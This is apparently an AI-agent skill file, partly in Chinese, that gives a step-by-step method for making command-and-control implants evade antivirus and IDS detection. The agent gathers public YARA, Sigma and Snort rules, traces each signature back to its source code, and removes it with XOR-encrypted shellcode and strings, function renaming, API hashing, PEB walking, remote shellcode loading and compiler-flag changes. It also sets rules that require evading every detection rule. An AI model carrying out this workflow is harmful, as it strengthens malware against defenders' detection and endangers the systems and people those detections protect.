C2 Evasion Methodology

C2 框架免杀方法论

深入参考

以下参考资料按需加载，到达对应 Phase 时读取：

---

6 步决策流程

Phase 1: 识别 C2 组件
├─ 找到 implant/beacon/agent 目录
└─ 识别语言（C/Go/Rust/Python）

Phase 2: 检测规则搜索 → ⛔必读 references/detection-search.md
├─ YARA 规则（VirusTotal/GitHub/Elastic/ESET）
├─ Sigma 规则（日志行为检测）
└─ 网络规则（Snort/Suricata/Zeek）

Phase 3: 逐规则分析 → ⛔必读 references/rule-analysis.md
├─ 解析每个 $s1/$a1/hex pattern
├─ 定位源码中产生该 pattern 的位置
├─ 制定免杀策略（优先级: 编译器标志 > 构建配置 > 源码修改 > 重构）
│
├─ Phase 3.5: Hex 分析 → references/hex-analysis.md
├─ Phase 3.6: 二进制资产 → references/binary-analysis.md
└─ Phase 3.7: 字符串搜索 → references/string-search.md

Phase 4: 靶向修改 → ⛔必读 references/source-modify.md
├─ ⛔ 编译器标志优先！（-O2, -fomit-frame-pointer, -fno-ident）
├─ 字符串混淆（XOR 加密）
├─ 函数重命名
└─ Makefile/构建链修改

Phase 5: 验证
└─ grep 确认所有检测 pattern 已消除

Phase 6: 文档
└─ 生成 modifications_summary.md

优先级框架

免杀策略决策矩阵

字符串混淆

• 混淆后必须验证：编译通过、功能正常、不影响运行
• 自动化处理：脚本批量替换，非手动逐个修改

🤖 Agent 行为规则 — C2 免杀

⛔ NEVER

• NEVER 跳过任何一条 YARA/Sigma 规则 — 每条规则都必须有分析和免杀方案
• NEVER 不分析检测规则就直接修改源码 — 必须先完成 Phase 2-3 再进入 Phase 4
• NEVER 直接修改二进制文件 — 只修改源码，通过重新编译产生新二进制
• NEVER 忽略 Hex pattern — 必须分析 references/hex-analysis.md
• NEVER 忽略二进制资产（shellcode/资源文件/配置文件）
• NEVER 运行或测试修改后的二进制文件 — 编译成功即可

✅ ALWAYS

• ALWAYS 编译器标志优先 — 最低成本最高收益（-O2, -fomit-frame-pointer, -fno-stack-protector）
• ALWAYS 检查 Makefile/CMakeLists/Cargo.toml 中的免杀机会
• ALWAYS 逐规则分析：解析 pattern → 定位源码 → 制定策略 → 实施 → 验证
• ALWAYS 验证修改后 pattern 已消除（grep 确认）
• ALWAYS 生成 modifications_summary.md 文档化所有修改
• ALWAYS 每个 Phase 开始前读取对应的 references 文档

🔧 工具偏好

1. grep/find — 搜索源码中的检测特征 2. bash — 编译验证 3. 读取 references/... — 每个 Phase 的详细步骤 4. http_request — 搜索在线 YARA/Sigma 规则库

Binary Asset Analysis

Analyze embedded binary resources in C2 projects that YARA rules may target.

Key Principle

C2 projects often contain embedded resources (shellcode, binaries, configs) that are high-value detection targets.

Asset Types to Find

1. Binary Files

# Find all binary files
find <path> -type f \( -name "*.bin" -o -name "*.raw" -o -name "*.dat" -o -name "*.rsrc" -o -name "*.res" \)

2. Embedded Shellcode (in source)

# Find embedded shellcode in hex arrays
grep -rn "0x[0-9a-fA-F]\{2\}.*0x[0-9a-fA-F]\{2\}.*0x[0-9a-fA-F]\{2\}" <path> \
  --include="*.c" --include="*.cpp" --include="*.h"

# Find base64 encoded content
grep -rn "[A-Za-z0-9+/]\{40,\}=" <path> \
  --include="*.c" --include="*.cpp" --include="*.go"

3. Resource Files

# Find resource files
find <path> -type f \( -name "*.rc" -o -name "*.res" -o -name "*.rsrc" -o -name "resources*" \)

# Check for embedded resources in .rc files
grep -rn "RCDATA\|BITMAP\|ICON\|MANIFEST" <path> --include="*.rc"

4. Configuration Templates

# Find config files with potential signatures
find <path> -type f \( -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.toml" -o -name "*.conf" \)

# Check for hardcoded values
grep -rn "User-Agent\|X-\|Cookie\|Authorization\|Bearer\|Session" <path> \
  --include="*.json" --include="*.yaml"

# Check for default ports, URLs, paths
grep -rn ":[0-9]\{4,5\}\|http://\|https://\|/api/\|/checkin\|/task" <path> \
  --include="*.json" --include="*.yaml"

Shellcode Analysis

Common Patterns to Detect

Analyze Shellcode

# View shellcode bytes
xxd shellcode.bin | head -50

# Extract strings
strings shellcode.bin

# Check for PE header
xxd shellcode.bin | grep "4d5a"

Evasion Strategies

Option A: Encrypt Shellcode

// Original (detectable)
unsigned char shellcode[] = { 0x4d, 0x5a, 0x90, ... };

// After (encrypted)
unsigned char shellcode_encrypted[] = { 0x0c, 0x1b, 0xd1, ... }; // XOR with key

void decrypt_shellcode(unsigned char* data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// Usage
decrypt_shellcode(shellcode_encrypted, sizeof(shellcode_encrypted), 0x41);

Option B: Replace Shellcode

Generate new shellcode with different characteristics:

• Use different encoder
• Use different shellcode generator
• Modify existing shellcode

Option C: Modular Loading

// Instead of embedding, load from external source
unsigned char* shellcode = load_from_resource(IDR_SHELLCODE);
// or
unsigned char* shellcode = download_shellcode(config.url);

Option D: Change Format

// Instead of raw bytes, use base64 with encryption
char* shellcode_b64 = "BASE64_ENCODED_ENCRYPTED_DATA";
unsigned char* shellcode = base64_decode(decrypt(shellcode_b64));

Detection Risk Assessment

Output Format

## Binary Assets Analyzed

| Asset | Type | Size | Detection Risk | Action |
|-------|------|------|----------------|--------|
| shellcode.bin | Raw shellcode | 4KB | HIGH | Encrypt with XOR |
| beacon.bin | PE binary | 64KB | HIGH | Replace/modify |
| config.json | Template | 2KB | MEDIUM | Obfuscate strings |
| resource.rc | Resource file | 1KB | LOW | No changes needed |

## Embedded Shellcode in Source

| File | Line | Pattern | Action |
|------|------|---------|--------|
| loader.c:45 | 0x4d, 0x5a, ... | MZ header | Encrypt with XOR key 0x41 |
| beacon.go:120 | base64 string | Encoded shellcode | Add encryption layer |

## Config Templates

| File | Hardcoded Values | Action |
|------|------------------|--------|
| profile.yaml | User-Agent, X-Beacon-Id | Obfuscate strings |
| config.json | /api/checkin, /api/task | Change paths |

Detection Rule Search

Search for YARA, Sigma, and network detection rules for C2 frameworks.

YARA Rule Search

Search multiple keywords and repositories:

# Search by C2 name (multiple variations)
gh search code "<c2_name>" --extension yar
gh search code "<c2_name> yara" --extension yar
gh search code "<c2_name> rule" --extension yar
gh search code "<c2_name> trojan" --extension yar
gh search code "<c2_name> malware" --extension yar
gh search code "<c2_name> beacon" --extension yar
gh search code "<c2_name> agent" --extension yar

# Search by functionality keywords
gh search code "beacon http implant" --extension yar
gh search code "shellcode loader" --extension yar
gh search code "cobalt strike" --extension yar
gh search code "sliver implant" --extension yar

# Search by API patterns
gh search code "VirtualAlloc beacon" --extension yar
gh search code "wininet http" --extension yar

# Search specific YARA repositories
gh search code "repo:bartblaze/Yara-rules <keyword>"
gh search code "repo:Neo23x0/signature-base <keyword>"
gh search code "repo:elastic/protections-artifacts <keyword>"
gh search code "repo:CAPE-sandbox/CAPE-Yara <keyword>"
gh search code "repo:sboussema/Yara-Bootloader <keyword>"
gh search code "repo:Yara-Rules/rules <keyword>"

Sigma Rule Search

gh search code "<c2_name> sigma" --extension yml
gh search code "<c2_name>" --extension yml --filename sigma
gh search code "repo:SigmaHQ/sigma <c2_name>"

Network/IDS Rule Search

gh search code "<c2_name> snort" --extension rules
gh search code "<c2_name> suricata" --extension rules
gh search code "<c2_name> zeek" --extension zeek

Save Rules

Save all found rules to:

./yara/<c2_name>/
├── yara_rules/
│   └── *.yar
├── sigma_rules/
│   └── *.yml
├── network_rules/
│   └── *.rules
└── detection_analysis.md

Pattern Extraction

For each YARA rule found, extract:

Rule Analysis

For each rule, identify:

1. Target component: Implant, server, network 2. Pattern types: String, hex, regex 3. Detection focus: Names, APIs, bytes, config

Output Format

## Detection Rules Found

### YARA Rules (X from N repositories)
| Rule File | Author | Patterns | Target |
|-----------|--------|----------|--------|
| Windows_Trojan_Adaptix.yar | Elastic | hex | C++ beacon |
| Adaptix_Beacon.yar | bartblaze | string | Go agent |

### Sigma Rules (Y)
| Rule File | Category | Detection |
|-----------|----------|-----------|
| AdaptixC2.yml | process_creation | Hash + keyword |

### Network Rules (Z)
| Rule File | Type | Patterns |
|-----------|------|----------|
| adaptix.rules | HTTP | Headers |

Hex Pattern Deep Analysis

Analyze hex patterns in YARA rules and identify source-level causes and evasion methods.

Key Principle

Hex patterns are NOT unchangeable. They represent compiled code features that CAN be modified through source code changes or compiler flags.

Hex Pattern Categories

Analysis Process

Step 1: Convert Hex to ASCII

# Check if hex represents a string
echo "48 65 6C 6C 6F" | xxd -r -p
# Output: Hello

Step 2: Locate in Binary

# Find hex pattern in binary
xxd implant.exe | grep -i "4883 ec 58"

# Use objdump to identify function
objdump -d implant.exe | grep -B 20 "48 83 ec 58"

Step 3: Map to Source

# Function prologue indicates stack allocation
# 0x58 = 88 bytes, look for:
grep -rn "char buffer\[88\]" <source_path>
grep -rn "char buffer\[0x58\]" <source_path>
grep -rn "int locals\[22\]" <source_path>  # 88/4 = 22

# API call sequences
grep -rn "InternetOpenA\|InternetConnectA\|HttpOpenRequestA" <source_path>

Step 4: Identify Evasion Strategy

Makefile Analysis

Check build files for evasion opportunities:

find <path> -name "Makefile" -o -name "CMakeLists.txt" -o -name "*.cmake" -o -name "build.sh"

Makefile Evasion Flags

Example Makefile Modification

# Before
CFLAGS = -O2 -g

# After (evasion-focused)
CFLAGS = -O2 -fno-stack-protector -fno-asynchronous-unwind-tables \
         -fno-ident -ffunction-sections -fdata-sections
LDFLAGS = -Wl,--strip-all -Wl,--build-id=none -Wl,--gc-sections

Source Code Changes

Function Prologue Evasion

// Before - creates prologue { 48 83 EC 58 }
void func() {
    char buffer[0x50];  // 80 bytes on stack
    int locals[10];
}

// After - different prologue
void func() {
    char* buffer = malloc(0x50);  // Heap allocation
    // Different hex pattern
}

API Sequence Evasion

// Before - fixed sequence
hInternet = InternetOpenA(...);
hConnect = InternetConnectA(hInternet, ...);
hRequest = HttpOpenRequestA(hConnect, ...);

// After - different order or APIs
hSession = WinHttpOpen(...);
hConnect = WinHttpConnect(hSession, ...);

String Evasion

// Before - plaintext string
char* url = "http://c2.example.com";

// After - XOR encrypted
char url[] = { 0x3a, 0x37, 0x37, 0x34, ... };  // XOR'd "http"

Output Format

## Hex Pattern Analysis

| Pattern | Type | Source Cause | Evasion Method | Status |
|---------|------|--------------|----------------|--------|
| { 48 83 EC 58 } | Function prologue | func() allocates 0x58 | Reduced to 0x30 | ✓ Evaded |
| { B9 77 00 00 } | API sequence | Wininet calls | Reordered calls | ✓ Evaded |
| { 4D 5A 90 00 } | PE header | DOS stub | Makefile flags | Skip (standard) |

## Makefile Changes

| File | Flag Added | Purpose |
|------|------------|---------|
| Makefile | -fno-stack-protector | Remove canary bytes |
| Makefile | -Wl,--build-id=none | Remove build ID |

Rule Analysis and Evasion Planning

Analyze each YARA/Sigma rule and develop specific evasion strategies.

Key Principle

Every rule MUST have an evasion plan. Even hex patterns can be evaded through source code or build changes.

Analysis Process

For EACH detection rule found, follow this process:

Step 1: Parse All Patterns

Extract every pattern from the rule:

Rule: Windows_Trojan_Adaptix.yar

Pattern $a1:
  hex: 48 81 EC A8 01 00 00 ...
  type: function_prologue
  meaning: sub rsp, 0x1A8 (stack allocation)

Pattern $a2:
  hex: 48 83 EC 58 ...
  type: function_prologue
  meaning: sub rsp, 0x58 (stack allocation)

Step 2: Identify Pattern Source

# Function prologue: stack allocation 0x1A8 = 424 bytes
grep -rn "char buffer\[424\]" <path>
grep -rn "char buffer\[0x1A8\]" <path>
grep -rn "struct.*{" <path> | look for large structs

# String bytes: 68 74 74 70 = "http"
echo "68 74 74 70" | xxd -r -p  # Convert to string
grep -rn "http" <path>

Step 3: Develop Evasion Strategies

For each pattern, determine possible evasion methods:

Step 4: Evaluate and Select Best Strategy

Priority Order:

1. Compiler flags (lowest effort, affects multiple patterns) 2. Build configuration (Makefile, CMakeLists) 3. Source code changes (if compiler flags insufficient) 4. Struct/function refactoring (last resort)

Analysis Output Format

For each rule, create an analysis:

## Rule: Windows_Trojan_Adaptix_2779784c.yar

### Patterns Analysis

| Pattern | Type | Meaning | Source Location |
|---------|------|---------|-----------------|
| $a1 | function_prologue | sub rsp, 0x1A8 | Large function with 424-byte stack |
| $a2 | function_prologue | sub rsp, 0x58 | Function with 88-byte stack |

### Evasion Strategies

| Strategy | Feasible | Effort | Priority |
|----------|----------|--------|----------|
| **Compiler flags** | ✅ Yes | Low | 1 (BEST) |
| Heap allocation | ✅ Yes | Medium | 2 |
| Function split | ✅ Yes | High | 3 |

### Recommended Action

**Primary: Modify Makefile compiler flags**

Add these flags to change function prologues:

CFLAGS += -O2 \ # Optimization changes code -fomit-frame-pointer \ # Removes frame pointer -fno-stack-protector \ # Removes canary -mno-stack-arg-probe # Removes stack probe

### Expected Outcome

After compiler flag changes:
- Original: `48 81 EC A8 01 00 00` (sub rsp, 0x1A8)
- New: Different instruction sequence

### Verification

Rebuild

make clean && make

Check if pattern still exists

xxd beacon.exe | grep "48 81 ec a8 01"

## Decision Matrix

| Pattern Type | Compiler Flag | Source Change | Both Needed |
|--------------|--------------|---------------|-------------|
| Function prologue | ✅ Often enough | ✅ Alternative | Rare |
| String bytes | ❌ No effect | ✅ Required | N/A |
| API sequence | ⚠️ May help | ✅ Required | Sometimes |
| Config structure | ❌ No effect | ✅ Required | N/A |
| Build timestamp | ✅ Required | ❌ N/A | N/A |

## Complete Rule Analysis Template

Rule Analysis: [rule_name]

Author: [from meta] Target: [implant/server/both] Pattern Count: X

Pattern 1: $a1

• Hex: XX XX XX XX ...
• Type: [function_prologue/string/api_sequence/config/other]
• Meaning: [what this pattern represents]
• Source Cause: [what in source creates this]
• Source Location: [file:line or "N/A - build artifact"]

Pattern 2: $a2

...

Evasion Strategy

Option A: Compiler Flags (Priority 1)

• Feasible: [Yes/No]
• Flags to add: -flag1 -flag2
• Expected change: [description]

Option B: Source Modification (Priority 2)

• Feasible: [Yes/No]
• Files to modify: [list]
• Changes: [description]

Option C: Build Configuration (Priority 3)

• Feasible: [Yes/No]
• Config to change: [description]

Selected Strategy

[Choose the best option with reasoning]

Implementation

[Specific commands/changes to make]

Verification Command

[command to verify pattern is gone]

## Important Rules

1. **NEVER skip a rule** - Every rule must have an analysis
2. **ALWAYS try compiler flags first** - Lowest effort, highest impact
3. **Document WHY a strategy was chosen** - For future reference
4. **Verify after each change** - Ensure pattern is actually removed
5. **Update the analysis if strategy fails** - Iterative process

Source Code Modification

Apply targeted modifications to C2 source code to evade detection.

Core Principle

Rule-Driven Modification: Only modify patterns found in detection rules or proactive string analysis. Do NOT make random changes.

Priority Framework

Modification Types

1. String Obfuscation

XOR Encryption:

// Before
char* header = "BeaconOutput";
char* url = "http://c2.example.com/api";

// After
char header[] = { 0x07, 0x02, 0x03, 0x08, 0x11, 0x08, 0x15, 0x17, 0x11, 0x05, 0x17, 0x16 }; // XOR 0x41
char url[] = { /* encrypted bytes */ };

void xor_decrypt(char* data, size_t len, char key) {
    for (size_t i = 0; i < len; i++) data[i] ^= key;
}

Stack Strings:

// Before
char* str = "beacon";

// After
char str[] = {'b','e','a','c','o','n',0};

2. Function Renaming (Go)

Go binaries embed function names - must rename:

// Before
func taskProcess(cmd string) { }
func jobRun(id int) { }
func execBof(data []byte) { }
func taskKill(pid int) { }

// After
func cmdProc(cmd string) { }
func jobExec(id int) { }
func runObj(data []byte) { }
func procTerm(pid int) { }

Important: Also rename all references and update imports.

3. HTTP Header Obfuscation

// Before
const (
    HeaderBeaconID = "X-Beacon-Id"
    HeaderTaskID   = "X-Task-Id"
)

// After
var (
    HeaderBeaconID = strings.Join([]string{"X-", "Session", "-Id"}, "")
    HeaderTaskID   = strings.Join([]string{"X-", "Job", "-Id"}, "")
)

4. URL Pattern Changes

// Before
const CheckinURL = "/api/checkin"
const TaskURL = "/api/task"

// After
const CheckinURL = "/api/sync"
const TaskURL = "/api/job"

5. API Obfuscation

PEB Walking:

// Before
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
FARPROC pNtAlloc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// After
HMODULE hNtdll = GetNtdllFromPEB();  // Custom PEB walk
FARPROC pNtAlloc = GetExportByHash(hNtdll, 0xE8C7A3D3);  // Hash-based

API Hashing:

// Compute hash at compile time
#define HASH_API(str) ((str)[0] ^ ((str)[1] << 8) ^ ...)

DWORD hash_NtAllocVirtualMemory = HASH_API("NtAllocateVirtualMemory");

6. Config Key Renaming

// Before
type Config struct {
    SleepInterval int `json:"sleep_interval"`
    Jitter        int `json:"jitter"`
    KillDate      string `json:"kill_date"`
}

// After
type Config struct {
    PollInterval int `json:"poll_interval"`
    Variance     int `json:"variance"`
    ExpiryDate   string `json:"expiry_date"`
}

7. Makefile Modifications

# Before
CFLAGS = -O2 -g
LDFLAGS =

# After
CFLAGS = -O2 -fno-stack-protector -fno-asynchronous-unwind-tables \
         -fno-ident -ffunction-sections -fdata-sections
LDFLAGS = -Wl,--strip-all -Wl,--build-id=none -Wl,--gc-sections

Modification Workflow

Step 1: Map Patterns to Source

For each pattern found:

# String patterns
grep -rn "BeaconOutput" <path>

# Function names (Go)
grep -rn "func taskProcess" <path> --include="*.go"

# API names
grep -rn "LoadLibraryA\|GetProcAddress" <path>

Step 2: Apply Modification

Use Edit tool to modify:

1. Read the file to understand context 2. Edit with precise old_string/new_string 3. Verify change applied correctly

Step 3: Update References

# Find all references to old name
grep -rn "taskProcess" <path>

# Update each reference

Step 4: Verify Removal

# Pattern should return nothing after modification
grep -rn "BeaconOutput" <path>  # Should return nothing

What NOT to Modify

Output Format

## Modifications Applied

| Pattern | File | Line | Modification | Status |
|---------|------|------|--------------|--------|
| "BeaconOutput" | http.go:78 | String | XOR encrypt | ✓ Evaded |
| TaskProcess | main.go:45 | Function | Rename to CmdProc | ✓ Evaded |
| "X-Beacon-Id" | config.go:12 | Header | Split string | ✓ Evaded |
| { 48 83 EC 58 } | Makefile | Stack | Reduce locals | ✓ Evaded |

## Files Modified

| File | Changes | Lines |
|------|---------|-------|
| main.go | Function renames | 12 |
| http.go | Header obfuscation | 5 |
| config.go | URL changes | 3 |
| Makefile | Compiler flags | 4 |

## Verification

| Pattern | Status |
|---------|--------|
| "BeaconOutput" | ✓ Not found |
| "TaskProcess" | ✓ Not found |
| "X-Beacon-Id" | ✓ Not found |

Important Rules

1. ONLY modify code in user-provided path 2. ONLY modify patterns from detection rules or proactive analysis 3. ALWAYS verify modification success with grep 4. NEVER run or test modified binaries 5. Document ALL changes

Proactive Sensitive String Search

Search for sensitive strings in source code that detection rules might target.

Key Principle

This phase is MANDATORY - Even if YARA rules contain only hex patterns, the source code may contain sensitive strings that OTHER detection rules could target.

String Categories

HIGH Priority

MEDIUM Priority

LOW Priority

Search Commands

C/C++ Implants

# C2 names and function names
grep -rn "beacon\|implant\|agent\|payload\|shellcode\|c2\|command" <implant_path> \
  -i --include="*.c" --include="*.cpp" --include="*.h"

# HTTP and network
grep -rn "http\|https\|post\|get\|connect\|socket\|send\|recv" <implant_path> \
  --include="*.c" --include="*.cpp" --include="*.h"

# Sensitive APIs
grep -rn "VirtualAlloc\|CreateThread\|WriteProcessMemory\|NtQueryInformationProcess\|CreateRemoteThread" <implant_path>

# HTTP headers
grep -rn "X-\|Cookie\|User-Agent\|Authorization\|Bearer\|Session" <implant_path> \
  --include="*.c" --include="*.cpp" --include="*.h"

# URL patterns
grep -rn "/api/\|/checkin\|/task\|/result\|/register" <implant_path> \
  --include="*.c" --include="*.cpp" --include="*.h"

Go Implants

# C2 names
grep -rn "beacon\|implant\|agent\|payload\|c2" <implant_path> --include="*.go" -i

# Function names (Go style)
grep -rn "task\|job\|exec\|run\|process\|kill\|shell\|cmd" <implant_path> --include="*.go"

# Network
grep -rn "http\|https\|net\|dial\|request\|response\|client" <implant_path> --include="*.go"

# Config patterns
grep -rn "Sleep\|Jitter\|KillDate\|Interval" <implant_path> --include="*.go"

Rust Implants

# C2 and function names
grep -rn "beacon\|implant\|agent\|payload\|task\|job\|exec" <implant_path> \
  --include="*.rs" -i

# Network
grep -rn "http\|https\|reqwest\|hyper\|tokio\|net" <implant_path> --include="*.rs"

String Obfuscation Patterns

Strings to Look For

Obfuscation Methods

Function Renaming

Go Functions

Go binaries embed function names in symbol table - these are HIGH priority.

# Find Go function names that need renaming
grep -rn "func task\|func job\|func exec\|func shell" <path> --include="*.go"

Before:

func taskProcess(cmd string) { }
func jobRun(id int) { }
func execBof(data []byte) { }

After:

func cmdProc(cmd string) { }
func jobExec(id int) { }
func runObj(data []byte) { }

C/C++ Functions

C/C++ function names are not embedded unless debug symbols are included.

# Check for debug symbols
file implant.exe
# Strip if needed
strip implant.exe

Output Format

## Sensitive Strings Found

### HIGH Priority

| String | File | Line | Category | Action |
|--------|------|------|----------|--------|
| "beacon_id" | config.h | 23 | C2 Name | Rename to "session_id" |
| "TaskProcess" | main.go | 45 | Function | Rename to "CmdProc" |
| "X-Beacon-Id" | http.go | 78 | HTTP Header | Obfuscate |
| "/api/checkin" | config.go | 12 | URL Pattern | Change to "/api/sync" |

### MEDIUM Priority

| String | File | Line | Category | Action |
|--------|------|------|----------|--------|
| "VirtualAlloc" | alloc.c | 34 | API | Hash or PEB walk |
| "SleepInterval" | config.h | 45 | Config | Obfuscate key name |

### Go Function Renames

| Original | New | File | Line |
|----------|-----|------|------|
| taskProcess | cmdProc | main.go | 45 |
| jobRun | jobExec | tasks.go | 120 |
| execBof | runObj | bof.go | 67 |

Verification

After obfuscation, verify strings are removed:

# Check for old strings (should return nothing)
grep -rn "beacon\|TaskProcess\|X-Beacon-Id" <path>

# Check for new strings exist
grep -rn "session_id\|CmdProc\|X-Session-Id" <path>